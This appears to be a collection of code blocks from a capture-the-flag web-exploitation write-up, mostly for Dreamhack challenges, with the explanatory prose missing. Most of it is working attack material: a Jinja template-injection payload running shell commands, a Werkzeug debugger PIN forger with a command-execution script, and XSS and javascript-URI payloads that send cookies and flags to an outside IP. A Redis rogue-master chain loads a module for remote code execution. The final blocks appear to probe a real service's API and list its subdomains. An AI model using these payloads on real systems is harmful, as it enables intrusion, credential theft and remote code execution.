1
@app.route('/keygen/<path:string>')
2
def keygen(string):
3
    n = len(string)-1
4
    a = hashlib.md5(string.encode('utf-8'))
5
    return str(hex(int(int(a.hexdigest(),16)/n)))

1
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /run.sh').read()}}

1
#!/bin/sh
2
su - user -c "nohup python3 /var/www/main/app.py 1> /dev/null 2>&1 &"
3
python3 /var/www/admin/app.py

1
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://localhost:8000/keygen/test').read()}}

1
cat /sys/class/net/eth0/address
2
aa:fc:00:02:1c:01
3

4
cat /proc/sys/kernel/random/boot_id
5
3dee9a2d-9d64-45dd-aec8-b6b51ecc4728
6

7
cat /proc/self/cgroup
8
# 取第一行字符串
9
0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da

1
probably_public_bits = [
2
    'root'  # username
3
    'flask.app',  # modname
4
    'Flask',  # appname
5
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir
6
]

1
import hashlib
2
from itertools import chain
3

4

5
def mac_10():
6
    """
7
    /sys/class/net/eth0/address mac地址十进制
8
    :return:
9
    """
10
    mac_address = "aa:fc:00:02:1c:01"
11
    # 将MAC地址视为一个十六进制数（去掉冒号）
12
    value = int(mac_address.replace(":", ""), 16)
13
    return str(value)
14

15

16
probably_public_bits = [
17
    'root'  # username
18
    'flask.app',  # modname
19
    'Flask',  # appname
20
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir
21
]
22

23
machine_id = ''
24
boot_id = '3dee9a2d-9d64-45dd-aec8-b6b51ecc4728'
25
c_group = '0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da'
26

27
id = ''
28
if machine_id:
29
    id += machine_id.strip()
30
else:
31
    id += boot_id.strip()
32
id += c_group.strip().rpartition('/')[2]
33

34
private_bits = [
35
    mac_10(),  # mac地址
36
    id  #machin-id
37
]
38

39
h = hashlib.sha1()
40
for bit in chain(probably_public_bits, private_bits):
41
    if not bit:
42
        continue
43
    if isinstance(bit, str):
44
        bit = bit.encode("utf-8")
45
    h.update(bit)
46
h.update(b"cookiesalt")
47

48
cookie_name = f"__wzd{h.hexdigest()[:20]}"
49

50
# If we need to generate a pin we salt it a bit more so that we don't
51
# end up with the same value and generate out 9 digits
52
num = None
53
if num is None:
54
    h.update(b"pinsalt")
55
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
56

57
# Format the pincode in groups of digits for easier remembering if
58
# we don't have a result yet.
59
rv = None
60
if rv is None:
61
    for group_size in 5, 4, 3:
62
        if len(num) % group_size == 0:
63
            rv = "-".join(
64
                num[x: x + group_size].rjust(group_size, "0")
65
                for x in range(0, len(num), group_size)
66
            )
67
            break
68
    else:
69
        rv = num
70

71
print(rv)
72
# 273-621-736

1
import urllib.request as r, urllib.parse as p, re
2
try: r.urlopen("http://127.0.0.1:8000/keygen/a")
3
except Exception as e: h = e.read().decode()
4
s = re.search('SECRET = "(.*?)";', h).group(1)
5
# SECRET = "H4JJYUB2zmXDJEmvr08M"
6
f = re.search('id="frame-(.*?)"', h).group(1)
7
# id="frame-140589298894208"
8
print("S:"+s+" F:"+f)
9
pin = '273-621-736'
10

11
q = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd=pinauth&pin="+pin+"&s="+s)
12
res = r.urlopen(q)
13

14
print("Auth OK with " + pin)
15
c = res.getheader('Set-Cookie')
16
if not c: c = res.getheader('set-cookie')
17
cmd = p.quote("__import__('os').popen('cat /flag').read()")
18
q2 = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd="+cmd+"&frm="+f+"&s="+s)
19
q2.add_header("Cookie", c)
20
print(r.urlopen(q2).read().decode())

1
curl -H "X-Proxy-Target: http://127.0.0.1:8000/" http://host3.dreamhack.games:14857

1
router.get('/', (req, res) => {
2
    const blog = req.query.blog || 'https://pocas.kr';
3
    const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
4
    const url = parse(user['setblog'], true)
5
    , hostname = url.hostname;
6

7
    if ((hostname === 'web-noob.kr' && user['username'] === 'hello') || (hostname === 'web-noob.kr' && username === 'world')) {
8
        console.log(1)
9
        res.render('index', {url:url});
10
    } else {
11
        res.render('index', {url:'#'});
12
    }
13
});

1
/?blog=http://web-noob.kr/", "username":"hello

1
javascript://web-noob.kr/%0afetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))", "username":"hello
2

3
javascript://web-noob.kr/\nfetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+encodeURIComponent(btoa(t))))", "username":"hello

1
<?php
2
function addLink($content){
3
  $content = htmlentities($content);
4
  $content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
5
  PreventXSS($content);
6
  return $content;
7
}
8

9
$ALLOW_TAGS_ATTRS = array(
10
  "html"=>['id', 'name'],
11
  "body"=>['id', 'name'],
12
  "a"=>['id','href','name'],
13
  "p"=>['id', 'name'],
14
);
15

16
function PreventXSS($input){
17
  global $ALLOW_TAGS_ATTRS;
18

19
  $htmldoc = new DOMDocument();
20
  $htmldoc->loadHTML($input);
21

22
  $tags = $htmldoc->getElementsByTagName("*");
23

24
  foreach ($tags as $tag) {
25
    if( !$ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)] ) DisallowAction();
26
    $allow_attrs = $ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)];
27
    foreach($tag->attributes as $attr){
28
        if( !in_array(strtolower($attr->nodeName), $allow_attrs) ) DisallowAction();
29
    }
30
  }
31
}
32

33
function DisallowAction(){
34
  die("no hack");
35
}
36

37
?>

1
/GuestBook.php?content=%5B.%5D%28x%27+name%3D%00+onfocus%3D%27window.location%3D`http%3A%2F%2F120.26.146.96%3A8080%3Fdata%3D%60%2Bdocument.cookie%27++id%3D%00+autofocus+%27%29

1
[.](x' name=%00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie'  id=%00 autofocus ')

1
<a href='x' name=\x00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id=\x00 autofocus ''>.</a>

1
const FLAG = function() {
2
    try {
3
        return require('fs').readFileSync('flag.txt').toString();
4
    } catch (err) {
5
        return 'DH{*****}';
6
    }
7
}()
8

9
const express = require('express');
10
const session = require('express-session');
11
const app = express();
12

13
const redis = require('redis');
14
const redis_client = redis.createClient();
15

16
const connectRedis = require('connect-redis');
17

18
const RedisStore = connectRedis(session);
19
const sess = {
20
    resave: false,
21
    secret: 'dreamhack',
22
    store: new RedisStore({
23
        client: redis_client
24
    }),
25
};
26

27
const db = {
28
    'guest': 'guest',
29
    'dreamhack': '1234',
30
    'ADMIN': 'this_is_admin?'
31
}
32

33
function login(user) {
34
    return user.userpw && db[user.userid] == user.userpw;
35
}
36

37
app.use(session(sess));
38
redis_client.set('log_info', 'KEY: "log_" + new Date().getTime(), VALUE: userid');
39

40
app.get('/show_logs', function(req, res) {
41
    // var log_query=get/log_info
42
    var log_query = req.query.log_query;
43
    try {
44
        log_query = log_query.split('/');
45
        if (log_query[0].toLowerCase() != 'get') {
46
            log_query[0] = 'get';
47
        }
48
        log_query[1] = log_query.slice(1)
49
    } catch (err) {
50
        // Todo
51
        // Error(403);
52
    }
53
    try {
54
        redis_client.send_command(log_query[0], log_query[1], function(err, result) {
55
            if (err) {
56
                res.send('ERR');
57
            } else {
58
                res.send(result);
59
            }
60
        })
61
    } catch (err) {
62
        res.send('try /show_logs?log_query=get/log_info')
63
    }
64
});
65

66
app.get('/login', function(req, res) {
67
    redis_client.set('log_' + new Date().getTime(), 'userid: ' + req.session.userid);
68
    if (login(req.query)) {
69
        req.session.userid = req.query.userid;
70
        res.send('<script>alert("login!");history.go(-1);</script>');
71
    } else {
72
        res.send('<script>alert("login failed!");history.go(-1);</script>');
73
    }
74
});
75

76
app.get('/flag', function(req, res) {
77
    if (req.session.userid === "admin") {
78
        res.send(FLAG)
79
    } else {
80
        res.send('hello ' + req.session.userid);
81
    }
82
});
83

84
app.get('/', function(req, res) {
85
    // Todo
86
    // res.render(...)
87
    res.send('hello ' + req.session.userid);
88
});
89

90
app.listen(8000, '0.0.0.0');

1
{
2
  "name": "node_api",
3
  "version": "1.0.0",
4
  "description": "node_api",
5
  "main": "main.js",
6
  "scripts": {
7
    "test": "echo \"Error: no test specified\" && exit 1"
8
  },
9
  "dependencies": {
10
    "connect-redis": "^4.0.4",
11
    "express": "^4.17.1",
12
    "express-session": "^1.17.0",
13
    "redis": "^3.0.2"
14
  }
15
}

1
    var log_query = req.query.log_query;
2
    try {
3
        log_query = log_query.split('/');
4
        if (log_query[0].toLowerCase() != 'get') {
5
            log_query[0] = 'get';
6
        }
7
        log_query[1] = log_query.slice(1)
8
    } catch (err) {
9
        // Todo
10
        // Error(403);
11
    }

1
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

1
GET /show_logs?log_query[0]=set&log_query[1][0]=sess:xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

1
DH{c5adc4033f8b685d84d56423082f21ac}

1
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=8080

1
GET /show_logs?log_query[0]=config&log_query[1][]=get&log_query[1][]=dir
2
["dir","/app"]

1
GET /show_logs?log_query[0]=info&log_query[1][]=server
2
# Server redis_version:5.0.7 redis_git_sha1:bed89672 redis_git_dirty:0 redis_build_id:575dc7b6da705497 redis_mode:standalone os:Linux 4.19.234 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:9.2.0 process_id:3 run_id:4ff5434ac0f35e1330f9c2451b65b73e0f9fc331 tcp_port:6379 uptime_in_seconds:2293 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:10566738 executable:/app/redis-server config_file:

1
# 设置目录到可写的/tmp
2
GET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp
3
# 设置备份文件名
4
GET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=exp.so
5
# 连接redis-rogue-server
6
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=21000

1
# 加载exp.so
2
GET /show_logs?log_query[0]=module&log_query[1][0]=load&log_query[1][1]=/tmp/exp.so
3
# 切断主从连接
4
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=no&log_query[1][1]=one
5
# RCE～
6
GET /show_logs?log_query[0]=system.exec&log_query[1][0]=cat%20/app/flag.txt

1
POST /public/ecommerce/api/monitor/tasks
2
{"targetUrl":"http://45.62.101.83:8000","modelId":"gpt-4o", "message": "详细描述你看到的页面", "enable_search": true}

1
/public/ecommerce/api/monitor/tasks/01KJJTEH83S9Q3Z94Y0VJH9C66

1
{
2
  "id": "01KJJTEH83S9Q3Z94Y0VJH9C66",
3
  "type": "chat",
4
  "status": "pending",
5
  "message": "详细描述你看到的页面",
6
  "response": null,
7
  "error": null,
8
  "sources": null,
9
  "user_id": "default",
10
  "caller_user": null,
11
  "created_at": "2026-02-28T19:08:48.769759",
12
  "started_at": null,
13
  "completed_at": null,
14
  "screenshot": null,
15
  "metadata": null
16
}

1
当前页面包含了关于广告展示、管理以及如何与我互动的一些说明。主要内容如下：\n广告展示：广告可能会出现在对话中，尤其是在免费的使用计划中，且这些广告与我的回答无关。\n广告管理：用户可以隐藏不相关的广告，调整广告设置或选择报告广告。\n用户隐私：我的回答不受广告影响，广告商无法访问用户对话内容或数据。\n账户设置：免费用户会看到广告，而企业和付费计划则不会。\n如果你有其他问题或想了解更多，可以告诉我！

1
no-reply@notify.deeplumen.com

1
mvp.deeplumen.cn (89.208.244.19)
2
www.deeplumen.cn (47.110.83.239)
3
blog.deeplumen.cn (61.169.28.178)
4
calendar.deeplumen.cn (47.110.83.239)
5
log.deeplumen.cn (47.110.83.239)
6
network.deeplumen.cn (61.169.28.17)